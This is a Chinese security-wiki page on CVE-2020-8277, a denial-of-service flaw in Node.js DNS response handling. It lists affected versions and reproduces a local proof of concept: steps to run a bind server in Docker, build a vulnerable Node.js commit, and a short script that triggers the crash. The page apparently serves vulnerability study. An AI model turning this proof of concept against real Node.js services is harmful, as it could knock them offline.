menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right --Vulnerability-main chevron_right CVE-2020-8277:Node.js通过DNS请求实现拒绝服务.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    CVE-2020-8277:Node.js通过DNS请求实现拒绝服务.md
    1.47 KB / 2021-05-21 09:14:38
        # CVE-2020-8277:Node.js通过DNS请求实现拒绝服务
    
    近日,Node.js官方发布最新安全版本公告,披露在v12.x,v14.x和v15.x 相应的Node.js版本中存在一处高风险的拒绝服务漏洞(CVE-2020-8277)。受影响的Node.js应用允许攻击者对目标主机发送DNS请求,利用Node.js应用解析大量响应的DNS记录来对目标主机实现拒绝服务攻击。
    
    影响版本:
    
    * Node.js 12.x: 12.16.3-12.19.1
    * Node.js 14.x: 14.13.0-14.15.1
    * Node.js 15.x全部版本
    
    Quick Run:
    
    
    ```bash
    # clone this repository
    $ git clone https://github.com/masahiro331/CVE-2020-8277
    
    # run bind
    $ docker build -t bind-local  ./bind
    # Need TCP fallback
    $ docker run --rm --name bind -it -p 53:53 -p 53:53/udp bind
    
    # use "< v15.2.1" version
    # If you use fixed version, build node.
    $ git clone https://github.com/nodejs/node
    $ git checkout df211208c0
    $ ./configure
    $ make -j8
    $ make install
    
    # Run PoC
    $ node main.js
    ```
    
    main.js:
    
    ```js
    // const SegfaultHandler = require('segfault-handler');
    // SegfaultHandler.registerHandler('crash.log');
    
    const { Resolver } = require('dns');
    const resolver = new Resolver();
    resolver.setServers(['127.0.0.1']);
    x = 0
    resolver.resolve4('safe.masahiro331.com', (err, addresses) => {
      while (x < 1000) {
        console.log(x);
        console.log(addresses[x])
        x += 1;
      }
      console.log(err);
    });
    
    ```
    
    ref:
    
    https://github.com/masahiro331/CVE-2020-8277
    
    https://www.safedog.cn/news.html?id=4599
    
    https://forum.ywhack.com/thread-114728-1-4.html
    
    links
    file_download